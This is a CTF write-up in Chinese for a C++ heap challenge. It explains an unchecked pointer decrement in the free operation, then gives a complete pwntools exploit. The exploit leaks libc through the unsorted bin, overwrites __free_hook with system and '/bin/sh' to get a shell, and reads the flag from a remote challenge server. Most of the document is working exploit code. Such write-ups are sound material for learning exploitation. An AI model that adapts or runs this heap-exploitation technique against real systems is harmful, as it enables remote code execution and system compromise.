看不懂c++写的东西,经过几回测试大概是这个功能:
- 在0x2032a0和0x2032c0保存两个结构,结构里存开始指针,当前指针和最大指针。
- 建块是从8开始如果块不够大就申请2倍大小并把前一个释放掉,原来的东西复制到新块里。
- show时会把当前指针前8字节作为数字显示
- free里当前指针减8。这里没有越界处理。
解题思路:
- 先利用指针1一直增加到释放掉0x810块到unsort(依次使用的块分别是20,20,30,50,90,110,210,410,810,1010)
- free向前移指针一直到unsort的fd,show得到libc地址
- 再向前free到第2个0x20块处,add写入free_hook-8
- 指针2建块依次写入/bin/sh,system(第2次增加时会将/bin/sh复制到free_hook-8,system复制到free_hook)
- 再次指针2增加时调用free得到shell
完整exp:
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p,libc_elf,one,libc_start_main_ret,local
local = 1
if local == 1:
p = process('./pwn')
libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
libc_start_main_ret = 0x21a87
else:
p = remote('106.75.101.133', 10052)
libc_elf = ELF('./libc.so')
one = [0x4f365,0x4f3c2,0x10a45c]
libc_start_main_ret = 0x21b97
'''
ptr:0x2032a0,0x2032c0
start,end,block_end
'''
menu = b">>"
def add(idx, num):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Index:", str(idx).encode())
p.sendlineafter(b"Number:", str(num).encode())
def add2(idx, num):
p.sendlineafter(menu, b'1')
p.sendline(str(idx).encode())
p.sendline(str(num).encode())
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b'Index:', str(idx).encode())
def free2(idx):
p.sendlineafter(menu, b'2')
p.sendline(str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b'Index:', str(idx).encode())
def pwn():
[add(1,i) for i in range(257)]
[free(1) for i in range(0x202)]
show(1)
libc_base = int(p.recvline()) - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
one_gadget= libc_base + one[0]
print('libc:', hex(libc_base))
[free(1) for i in range(0x10d)]
add(1, libc_elf.sym['__free_hook']-8)
#context.log_level = 'debug'
add(2, u64(b'/bin/sh\x00'))
add(2, libc_elf.sym['system'])
#add(2, 3)
p.send(b'1')
#gdb.attach(p)
#pause()
p.sendline(b'cat /flag')
p.interactive()
connect()
pwn()